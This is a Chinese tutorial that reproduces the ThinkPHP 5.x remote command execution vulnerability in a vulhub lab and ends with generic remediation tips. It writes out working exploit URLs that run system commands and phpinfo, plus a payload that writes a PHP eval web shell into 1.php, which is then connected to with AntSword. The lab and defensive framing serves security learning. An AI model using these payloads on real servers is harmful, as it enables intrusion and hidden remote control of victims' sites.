ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式
ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。TP(2-6)(5-目前使用率较高的)
Thinkphp5x远程命令执行及getshell
漏洞复现
首先我们搭建一个漏洞环境,搭建命令如下
cd vulhub/thinkphp/5-rce
docker-compose up -d #启动环境
进入环境后,我们来到这样一个页面
直接在ip和端口后面拼接一段url如下
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
点击回车后即可看到我们输入的命令(whoami)的执行结果,说明这个页面存在远程命令执行漏洞
然后我们将url中的system替换为phpinfo,whoami替换为-1,则会显示出phpinfo();的执行结果,这说明这个页面也存在远程代码执行漏洞
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
最后,我们尝试获取shell,利用他的远程命令执行漏洞,输出一个一句话木马到1.php文件中,构造url如下,其中$_POST前加反斜杠是因为该网站会对其进行转义,\可以防止被转义
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST['cmd']); ?>" >> 1.php
运行成功后直接在IP后面加上/1.php访问,成功后用蚁剑连接
修复方法
1.对于用户提交的数据,尤其是命令执行相关的数据,一定要进行严格的验证和过滤。例如,您可以使用正则表达式或预定义的白名单来限制可以接受的命令。
2.部署一个 Web 应用防火墙可以帮助阻止恶意请求到达您的应用程序。WAF 可以检测并阻止潜在的攻击尝试。
3.进行代码审计,查找潜在的安全漏洞。确保遵循最佳实践,例如使用预编译语句防止 SQL 注入,使用 HTTPS 加密通信等。
4.确保您的服务器操作系统和其他相关软件(如 PHP、Apache/Nginx)都是最新版本,并安装了所有必要的安全补丁。
5.启用日志记录以监控异常行为,并定期审查日志文件以查找潜在的攻击迹象。